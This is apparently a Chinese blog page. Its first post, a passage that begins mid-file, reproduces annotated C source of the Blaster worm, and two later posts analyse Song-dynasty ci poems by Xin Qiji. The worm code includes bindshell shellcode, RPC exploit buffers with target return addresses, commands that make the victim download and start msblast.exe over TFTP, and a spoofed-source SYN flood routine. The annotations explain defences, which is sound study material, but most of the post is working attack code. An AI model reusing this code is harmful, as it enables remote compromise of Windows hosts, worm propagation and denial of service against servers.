"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* port 4444 bindshell */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";



unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00

,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C

,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

int ThreadId;
int len;
int sizeof_sa;
int ret;
int opt;
void *hThread;
struct sockaddr_in target_ip;
struct sockaddr_in sa;
int fd;
char cmdstr[0x200];
int len1;
unsigned char buf2[0x1000];
int i;

/*
* Turn off non-blocking (i.e. re-enable blocking mode)
* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')
* will slow down the spread of this worm. It takes a long
* time for blocking calls to timeout. I had several
* thousand worms halted by my 'deredoc' tarpit.
*/
opt = 0;
ioctlsocket(sock, FIONBIO , &opt);

/*
* Choose whether the exploit targets Win2k or WinXP.
*/
if (winxp1_or_win2k2 == 1)
ret = 0x100139d;
else
ret = 0x18759f;
memcpy(sc+36, (unsigned char *) &ret, 4);

/* ----------------------------------------------
* This section is just copied from the original exploit
* script. This is the same as the scripts that have been
* widely published on the Internet. */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;


*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;

if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
//perror("- Send");
return;
}


if (send(sock,buf2,len1,0)== -1)
{
//perror("- Send");
return;
}
closesocket(sock);
Sleep(400);
/* ----------------------------------------------*/


/*
* This section of code connects to the victim on port 4444.
* DEFENSE : This means you can block this worm by blocking
* TCP port 4444.
* FAQ: This port is only open for the brief instant needed
* to exploit the victim. Therefore, you can't scan for
* port 4444 in order to find Blaster victims.
*/
if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)
return;
memset(&target_ip, 0, sizeof(target_ip));
target_ip.sin_family = AF_INET;
target_ip.sin_port = htons(SHELL_PORT_4444);
target_ip.sin_addr.s_addr = inet_addr(victim_ip);
if (target_ip.sin_addr.s_addr == SOCKET_ERROR)
return;
if (connect(fd, (struct sockaddr*)&target_ip,
sizeof(target_ip)) == SOCKET_ERROR)
return;

/*
* This section recreates the IP address from whatever IP
* address this successfully connected to. In practice,
* the strings "victim_ip" and "target_ip_string" should be
* the same.
*/
memset(target_ip_string, 0, sizeof(target_ip_string));
sizeof_sa = sizeof(sa);
getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa);
sprintf(target_ip_string, "%d.%d.%d.%d",
sa.sin_addr.s_net, sa.sin_addr.s_host,
sa.sin_addr.s_lh, sa.sin_addr.s_impno);

/*
* This section creates a temporary TFTP service that is
* ONLY alive during the period of time that the victim
* needs to download.
* FAQ: You can't scan for TFTP in order to find Blaster
* victims because the port is rarely open.
*/
if (fd_tftp_service)
closesocket(fd_tftp_service);
hThread = CreateThread(0,0,
blaster_tftp_thread,0,0,&ThreadId);
Sleep(80); /*give time for thread to start*/

/*
* This sends the command
* tftp -i 1.2.3.4 GET msblast.exe
* to the victim. The "tftp.exe" program is built into
* Windows. It's intended purpose is to allow users to
* manually update their home wireless access points with
* new software (and other similar tasks). However, it is
* not intended as a generic file-transfer protocol (it
* stands for "trivial-file-transfer-protocol" -- it is
* intended for only trivial tasks). Since a lot of hacker
* exploits use the "tftp.exe" program, a good hardening
* step is to remove/rename it.
*/
sprintf(cmdstr, "tftp -i %s GET %s\n",
target_ip_string, MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;

/*
* Wait 21 seconds for the victim to request the file, then
* for the file to be delivered via TFTP.
*/
Sleep(1000);
for (i=0; i<10 && is_tftp_running; i++)
Sleep(2000);

/*
* Assume the the transfer is successful, and send the
* command to start executing the newly downloaded program.
* BUFORD: The hacker starts this twice. Again, it
* demonstrates a lock of confidence, so he makes sure it's
* started by doing it twice in slightly different ways.
* Note that the "BILLY" mutex will prevent from actually
* running twice.
*/
sprintf(cmdstr, "start %s\n", MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;
Sleep(2000);
sprintf(cmdstr, "%s\n", MSBLAST_EXE);
send(fd, cmdstr, strlen(cmdstr), 0);
Sleep(2000);


/*
* This section closes the things started in this procedure
*/
closesocket_and_return:

/* Close the socket for the remote command-prompt that has
* been established to the victim. */
if (fd != 0)
closesocket(fd);

/* Close the TFTP server that was launched above. As noted,
* this means that the TFTP service is not running most of
* the time, so it's not easy to scan for infected systems.
*/
if (is_tftp_running) {
TerminateThread(hThread,0);
closesocket(fd_tftp_service);
is_tftp_running = 0;
}
CloseHandle(hThread);
}


/**
* Convert the name into an IP address. If the IP address
* is formatted in decimal-dot-notation (e.g. 192.2.0.43),
* then return that IP address, otherwise do a DNS lookup
* on the address. Note that in the case of the worm,
* it always gives the string "windowsupdate.com" to this
* function, and since Microsoft turned off that name,
* the DNS lookup will usually fail, so this function
* generally returns -1 (SOCKET_ERROR), which means the
* address 255.255.255.255.
*/
int blaster_resolve_ip(const char *windowsupdate_com)
{
int result;

result = inet_addr(windowsupdate_com);
if (result == SOCKET_ERROR) {
HOSTENT *p_hostent = gethostbyname(windowsupdate_com);
if (p_hostent == NULL)
result = SOCKET_ERROR;
else
result = *p_hostent->h_addr;
}

return result;
}


/*
* This thre
*/
ULONG WINAPI blaster_DoS_thread(LPVOID p)
{
int opt = 1;
int fd;
int target_ip;


/* Lookup the domain-name. Note that no checking is done
* to ensure that the name is valid. Since Microsoft turned
* this off in their domain-name servers, this function now
* returns -1. */
target_ip = blaster_resolve_ip("windowsupdate.com");


/* Create a socket that the worm will blast packets at
* Microsoft from. This is what is known as a "raw" socket.
* So-called "raw-sockets" are ones where packets are
* custom-built by the programmer rather than by the TCP/IP
* stack. Note that raw-sockets were not available in Windows
* until Win2k. A cybersecurity pundit called Microsoft
* "irresponsible" for adding them.
* <http://grc.com/dos/sockettome.htm>
* That's probably an
* unfairly harsh judgement (such sockets are available in
* every other OS), but it's true that it puts the power of
* SYNflood attacks in the hands of lame worm writers. While
* the worm-writer would probably have chosen a different
* DoS, such as Slammer-style UDP floods, it's likely that
* Buford wouldn't have been able to create a SYNflood if
* raw-sockets had not been added to Win2k/WinXP. */
fd = WSASocket(
AF_INET, /*TCP/IP sockets*/
SOCK_RAW, /*Custom TCP/IP headers*/
IPPROTO_RAW,
NULL,
0,
WSA_FLAG_OVERLAPPED
);
if (fd == SOCKET_ERROR)
return 0;

/* Tell the raw-socket that IP headers will be created by the
* programmer rather than the stack. Most raw sockets in
* Windows will also have this option set. */
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,
(char*)&opt, sizeof(opt)) == SOCKET_ERROR)
return 0;


/* Now do the SYN flood. The worm writer decided to flood
* slowly by putting a 20-millisecond delay between packets
* -- causing only 500 packets/second, or roughly, 200-kbps.
* There are a couple of reasons why the hacker may have
* chosen this.
* 1. SYNfloods are not intended to be bandwidth floods,
* even slow rates are hard to deal with.
* 2. Slammer DoSed both the sender and receiver, therefore
* senders hunted down infected systems and removed
* them. This won't DoS the sender, so people are more
* likely not to care about a few infected machines.
*/
for (;;) {
blaster_send_syn_packet(target_ip, fd);

/* Q: How fast does it send the SYNflood?
* A: About 50 packets/second, where each packet is
* 320-bits in size, for a total of 15-kbps.
* It means that Buford probably intended for
* dialup users to be a big source of the DoS
* attack. He was smart enough to realize that
* faster floods would lead to users discovering
* the worm and turning it off. */
Sleep(20);
}


closesocket(fd);
return 0;
}



/*
* This is a standard TCP/IP checksum algorithm
* that you find all over the web.
*/
int blaster_checksum(const void *bufv, int length)
{
const unsigned short *buf = (const unsigned short *)bufv;
unsigned long result = 0;

while (length > 1) {
result += *(buf++);
length -= sizeof(*buf);
}
if (length) result += *(unsigned char*)buf;
result = (result >> 16) + (result & 0xFFFF);
result += (result >> 16);
result = (~result)&0xFFFF;

return (int)result;
}



/*
* This is a function that uses "raw-sockets" in order to send
* a SYNflood at the victim, which is "windowsupdate.com" in
* the case of the Blaster worm.
*/
void blaster_send_syn_packet(int target_ip, int fd)
{

struct IPHDR
{
unsigned char verlen; /*IP version & length */
unsigned char tos; /*IP type of service*/
unsigned short totallength;/*Total length*/
unsigned short id; /*Unique identifier */
unsigned short offset; /*Fragment offset field*/
unsigned char ttl; /*Time to live*/
unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/
unsigned short checksum; /*IP checksum*/
unsigned int srcaddr; /*Source address*/
unsigned int dstaddr; /*Destination address*/

};
struct TCPHDR
{
unsigned short srcport;
unsigned short dstport;
unsigned int seqno;
unsigned int ackno;
unsigned char offset;
unsigned char flags;
unsigned short window;
unsigned short checksum;
unsigned short urgptr;
};
struct PSEUDO
{
unsigned int srcaddr;
unsigned int dstaddr;
unsigned char padzero;
unsigned char protocol;
unsigned short tcplength;
};
struct PSEUDOTCP
{
unsigned int srcaddr;
unsigned int dstaddr;
unsigned char padzero;
unsigned char protocol;
unsigned short tcplength;
struct TCPHDR tcphdr;
};




char spoofed_src_ip[16];
unsigned short target_port = 80; /*SYNflood web servers*/
struct sockaddr_in to;
struct PSEUDO pseudo;
char buf[60] = {0};
struct TCPHDR tcp;
struct IPHDR ip;
int source_ip;


/* Yet another randomizer-seeding */
srand(GetTickCount());

/* Generate a spoofed source address that is local to the
* current Class B subnet. This is pretty smart of Buford.
* Using just a single IP address allows defenders to turn
* it off on the firewall, whereas choosing a completely
* random IP address would get blocked by egress filters
* (because the source IP would not be in the proper range).
* Randomly choosing nearby IP addresses it probably the
* best way to evade defenses */
sprintf(spoofed_src_ip, "%i.%i.%i.%i",
local_class_a, local_class_b, rand()%255, rand()%255);
source_ip = blaster_resolve_ip(spoofed_src_ip);

/* Build the sockaddr_in structure. Normally, this is what
* the underlying TCP/IP stack uses to build the headers
* from. However, since the DoS attack creates its own
* headers, this step is largely redundent. */
to.sin_family = AF_INET;
to.sin_port = htons(target_port); /*this makes no sense */
to.sin_addr.s_addr = target_ip;

/* Create the IP header */
ip.verlen = 0x45;
ip.totallength = htons(sizeof(ip) + sizeof(tcp));
ip.id = 1;
ip.offset = 0;
ip.ttl = 128;
ip.protocol = IPPROTO_TCP;
ip.checksum = 0; /*for now, set to true value below */
ip.dstaddr = target_ip;

/* Create the TCP header */
tcp.dstport = htons(target_port);
tcp.ackno = 0;
tcp.offset = (unsigned char)(sizeof(tcp)<<4);
tcp.flags = 2; /*TCP_SYN*/
tcp.window = htons(0x4000);
tcp.urgptr = 0;
tcp.checksum = 0; /*for now, set to true value below */

/* Create pseudo header (which copies portions of the IP
* header for TCP checksum calculation).*/
pseudo.dstaddr = ip.dstaddr;
pseudo.padzero = 0;
pseudo.protocol = IPPROTO_TCP;
pseudo.tcplength = htons(sizeof(tcp));

/* Use the source adress chosen above that is close, but
* not the same, as the spreader's IP address */
ip.srcaddr = source_ip;

/* Choose a random source port in the range [1000-19999].*/
tcp.srcport = htons((unsigned short)((rand()%1000)+1000));

/* Choose a random sequence number to start the connection.
* BUG: Buford meant htonl(), not htons(), which means seqno
* will be 15-bits, not 32-bits, i.e. in the range
* [0-32767]. (the Windows rand() function only returns
* 15-bits). */
tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));

pseudo.srcaddr = source_ip;

/* Calculate TCP checksum */
memcpy(buf, &pseudo, sizeof(pseudo));
memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp));
tcp.checksum = blaster_checksum(buf,
sizeof(pseudo)+sizeof(tcp));

memcpy(buf, &ip, sizeof(ip));
memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));

/* I have no idea what's going on here. The assembly code
* zeroes out a bit of memory near the buffer. I don't know
* if it is trying to zero out a real variable that happens
* to be at the end of the buffer, or if it is trying to zero
* out part of the buffer itself. */
memset(buf+sizeof(ip)+sizeof(tcp), 0,
sizeof(buf)-sizeof(ip)-sizeof(tcp));

/* Major bug here: the worm writer incorrectly calculates the
* IP checksum over the entire packet. This is incorrect --
* the IP checksum is just for the IP header itself, not for
* the TCP header or data. However, Windows fixes the checksum
* anyway, so the bug doesn't appear in the actual packets
* themselves.
*/
ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));

/* Copy the header over again. The reason for this is simply to
* copy over the checksum that was just calculated above, but
* it's easier doing this for the programmer rather than
* figuring out the exact offset where the checksum is
* located */
memcpy(buf, &ip, sizeof(ip));

/* Send the packet */
sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,
(struct sockaddr*)&to, sizeof(to));
}

- 作者: 血衣 2006年04月18日, 星期二 12:10  回复(1) |  引用(0) 加入博采

念奴娇·我来吊古
登建康赏心亭,呈史留守致道  

  我来吊古,上危楼、赢得闲愁千斛。虎踞龙蟠何处是?只有兴亡满目。柳外斜阳,水边归鸟,陇上吹乔木。片帆西去,一声谁喷霜竹? 却忆安石风流,东山岁晚,泪落哀筝曲。儿辈功名都付与,长日惟消棋局。宝镜难寻,碧云将暮,谁劝杯中绿?江头风怒,朝来波浪翻屋。


  这是一首吊古伤今的词章。乾道四年或五年(1168或1169),作者登上赏心亭,写了这首词,送给史致道。词中感慨很深,虽是吊古,实是伤今。

  上片以危楼所见的山川形胜,斜阳归鸟,引出兴亡满目的感慨。

  “我来吊古,上危楼、赢得闲愁千斛。”起句作者就以突兀之势,点明牵动他感情起伏的因由。登上高楼,下临秦淮,遥望远处的长江,使他想起了古往今来的历史变迁。他以引而不发的笔触,暂不点明什么原因“赢得闲愁千斛”,使读者揣测、捉摸不定。以“闲”字点“愁”,意欲说明他的愁闷是孤独、空虚的,又以“千斛”言其分量之沉重,给人以重压之感。从而,造成一种悬念,迫使读者跟踪追索,非得读下去不可。

  “虎踞龙蟠何处是?”建康,形势险要,早有“龙蟠虎踞”之称。据《金陵图经》记载,三国时诸葛亮曾评论金陵的地理形势说:“钟山龙蟠,石城虎踞,真帝王之都也。”作者却以疑问的语气提出,加重了感情的负荷。回答是:“只有兴亡满目。”昔年在此建都的六朝,都已覆亡,留下的只是一些朝代兴废的痕迹,不胜盛衰之感。句意来自李商隐《咏史》诗:“北湖南埭水漫漫,一片降旗百尺竿;三百年间同晓梦,钟山何处有龙蟠。”

  接着,作者描绘眼前景物:“柳外斜阳,水边归鸟,陇上吹乔木。片帆西去,一声谁喷霜竹?”柳荫下的斜阳,大河两岸寻找归宿的飞鸟,树林里的风声,苒苒西去的孤帆,触人愁肠的舟笛声……这些形象,在人们仰俯之间,就要逝去了!这一组飘忽的景物,触动了作者翻滚的思绪,从而,加深了那种吊古伤今的感情。

  上片是虚笔,给读者一些形象暗示,下片作者用历史故事,抒发和表达作品的思想情绪。“却忆安石风流,东山岁晚,泪落哀筝曲。”安石,是东晋名将谢安,他统率八万兵力,迎击号称百万大军的苻坚军,取得了淝水之战的辉煌胜利。但是,谢安有过一段不得意的历史,曾被奸佞构陷,皇帝不信任他。有一次东晋孝武帝召宴,谢安在场。一位叫桓伊的人弹筝唱歌,唱的是曹植的《怨诗》,其中唱道:“为君既不易,为臣良独难,忠信事不显,乃有见疑患。”替谢安表忠心。于是,谢安触景伤怀,忍禁不住落下泪来。

  “儿辈功名都付与,长日惟消棋局。”淝水之战时,谢安的儿子谢石和侄子谢玄,率兵迎战,当捷报传来时,谢安与客人下棋,他十分从容的说:“小儿辈遂已破贼。”由于被皇帝猜疑,不为世用,只有在棋局中打发日子,忠信见疑,不为世用,如今辛弃疾的境遇,与当年谢安的处境,是有相似之处的。胸怀大志,又是栋梁之才,归宋六年一直得不到重用。所以,与听哀筝而落泪的谢安发生共鸣。

  接下来:“宝镜难寻,碧云将暮,谁劝杯中绿?”感情的负载就沉重了。“宝镜”,有人解释为“月亮”。李濬的《松窗杂录》载:“渔人于秦淮得古铜镜,照之尽见脏腑……”在这里,作者所指,应是那面古铜镜。因为辛弃疾从沦陷区归宋,被视为“归正人”。“归正人”受歧视,被怀疑有异心。所以,作者登临赏心亭,面对秦淮河,便想起秦淮渔人那面宝镜来了。他恨不能得到“宝镜”,以明心曲啊!现在呢?宝镜寻不到──无法表明心迹,而年纪却快老了(碧云将暮),更无人来一起饮酒消愁。

  结句:“江头风怒,朝来波浪翻屋。”这两句是说:从赏心亭远望,江头风大浪险,有使房屋倾倒之势。这里暗喻国势危急,是点睛之笔。姜夔说:“一篇全在结尾,如截奔马。”这个结尾,突兀而又有余意,耐人寻味。

  从这首词作来看,辛弃疾的艺术个性已经形成。他以沉郁悲壮的音响,热烈豪放的气势,走上词坛。抒豪情、叙壮志,关心国家民族的兴亡,象这样的一支曲子词,就是一支救亡曲!

- 作者: 血衣 2006年03月31日, 星期五 09:15  回复(1) |  引用(0) 加入博采

沁园春·三径初成
带湖新居将成  

  三径初成,鹤怨猿惊,稼轩未来。甚云山自许,平生意气;衣冠人笑,抵死尘埃。意倦须还,身闲贵早,岂为莼羹鲈脍哉。秋江上,看惊弦雁避,骇浪船回。 东冈更葺茅斋。好都把、轩窗临水开。要小舟行钓,先应种柳;疏篱护竹,莫碍观梅。秋菊堪餐,春兰可佩,留待先生手自栽。沉吟久,怕君恩未许,此意徘徊。


  带湖位于信州(今江西上饶市)城北一里许,是一个狭长形的湖泊。其地“三面附城,前枕澄湖如宝带,其纵千有二百三十尺,其衡(横)八百有三十尺,截然砥平,可庐以居”(洪迈《稼轩记》)。辛弃疾“一旦独得之,既筑室百楹,才占地十四。乃荒左偏以立圃,稻田泱泱,居然衍十弓。意他日释位得归,必躬耕于是,故凭高作屋下临之,是为稼轩”(引同上)。湖光山色,风景绝佳,稼轩作此词时(淳熙八年秋),仍在江西安抚使任上,带湖新居即将落成。

  开篇即云思归之意。晋人赵岐《三辅决录·逃名》载:西汉末王莽弄权,兖州刺史“蒋诩归乡里,荆棘塞门,舍中有三径,不出,唯求仲、羊仲从之游。”后因以“三径”指归隐所居田园。陶潜《归去来辞》:“三径就荒,松竹犹存。”南齐陆韩卿《奉答内兄希叔》诗:“杜门清三径,坐槛临曲池。”隐居的别墅初成,而“稼轩未来”,故“鹤怨猿惊”。此化用孔稚《北山移文》句意:“蕙帐空兮夜鹤怨,山人去兮晓猿惊”。词人赋予物以人情,既怨且惊(怪),深刻地表达出自己急切归隐的心情。接述高卧云山之志。“甚云山”以下四句,谓平生意气自负,以隐居云山自许,不想这些年来竟奔波于官场,为人所笑。“衣冠”,古代士以上戴冠,庶人包巾,衣冠连称,是古代士以上的服装。《史记》卷六十二《管晏列传》:“晏子惧然,摄衣冠谢曰”。后引申指世族、士绅。“抵死”,老是,总是意,在辛词中屡见,如《浣溪沙》:“去雁无凭传锦字,春泥抵死污人衣”;《满庭芳》:“恨儿曹抵死,谓我心忧”。“尘埃”,比喻污浊。《楚辞·渔父》:“安能以皓皓之白,而蒙世俗之尘埃乎?”此处指官场。接三句重申思归之意:“意倦须还,身闲贵早,”岂是为家乡的佳肴美味!《世说新语·识鉴篇》:西晋张翰官洛阳,“见秋风起,因思吴中莼菜羹、鲈鱼脍,曰:‘人生贵得适意尔,何能羁宦数千里以要名爵’?遂命驾便归。”上面一借“鹤怨猿惊”而表归心急切;二云自己本志在云山,不在仕宦,三云早就“意倦”、“身闲”决无留恋了。然最后更道出真意:“秋江上,看惊弦雁避,骇浪船回。”喻遭人排挤,如秋江鸿雁,应避弓弦;惊涛骇浪,应急拨转船头。这年冬十一月,改除两浙西路提点刑狱公事。《宋会要》一百零一册《职官门·黜降官》第八:“淳熙八年十二月二日,右文殿修撰新任两浙西路提点刑狱公事辛弃疾落职罢新任。以弃疾奸贪凶暴,帅湖南日虐害田里,至是言者论列,故有是命。”《宋史》卷四百零一《辛弃疾传》:“台臣王蔺劾其用钱如泥沙,杀人如草芥。”带湖新居始建于春初,冬季落成。在写作此词时,似已有所觉察,故选择了急流勇退之途。

  下片层层铺叙带湖新居的园林亭台,水木花草的胜境。据《稼轩记》载:“田边立亭曰植杖,若将真秉耒耨之为者。东冈西阜,北墅南麓,以青径款竹扉,锦路行海棠,集山有楼,婆娑有堂,信步有亭,涤砚有渚”。词则说东冈还须再盖一所茅顶书斋,窗子全部临水而开。为方便在小船上钓鱼,要在湖边先种上柳树;插上篱笆保护竹枝,可不要妨碍观看梅花。秋菊可以用来进餐,秋兰可以用来佩带,这些都留待我来时亲自栽种。屈原《九歌·礼魂》:“春兰兮秋菊,长无绝兮终古!”“留待先生手自栽”,示意如屈原一样志行高洁,不同流合污。最后又说自己的退隐是迫于无奈,壮志未成,在词人是很沉痛的。既“沉吟久”,而又“徘徊”,正见积极用世与退隐林下的矛盾心情。

  词一起托物鹤猿,归思如见。继以一去声“甚”字领起四个四言短句,作扇面对(即一、三对仗,二、四对仗),音节急促,气势流贯。下片亦以一去声“要”字领四个四言短句,结构与上片全同。但音节徐缓,情韵悠悠。前者充分表现他愤世之怀,后者则闲适之意,流漾于外。至结处,方以“沉吟久”稍作停顿,转出“此意徘徊”的复杂心理。周济《介存斋论词杂著》指出:“北宋词多就景抒情,……至稼轩、白石一变而为即事叙景。”即事叙景在辛词中确不少见,它不同于以情为中心的就景抒情,而是以叙事为主体,抒情如血脉流贯其中,以写景作为叙事的烘染或铺垫,如本词下片那一大段关于著茅斋、开轩窗、种柳、观梅、餐秋菊、佩春兰等事项的设想安排,都可看出艺术手法与北宋词人之不同处。

  南宋文人们的生活和北宋一样,仍是得天独厚(天者,皇帝也)。他们没有像杜甫那样“朝扣富儿门,暮随肥马尘。残杯与冷炙,到处潜悲辛”(《奉赠韦左丞丈二十二韵》);也不会像孟郊那样“借车载家具,家具少于车”(《借车》),弄得一身尴尬。为官的时候,自然有优渥的待遇,暂时辞职或致仕,也仍可优悠林下,坐享天年。在本词和“带湖之什”的许多篇中,都可见到这种富贵奢华景象,可贵的是辛弃疾无论顺境逆境始终未忘“看试手,补天裂”(《贺新郎·同甫见和,再用韵答之》)收复失地完成南北统一的大业。

- 作者: 血衣 2006年03月31日, 星期五 09:14  回复(0) |  引用(0) 加入博采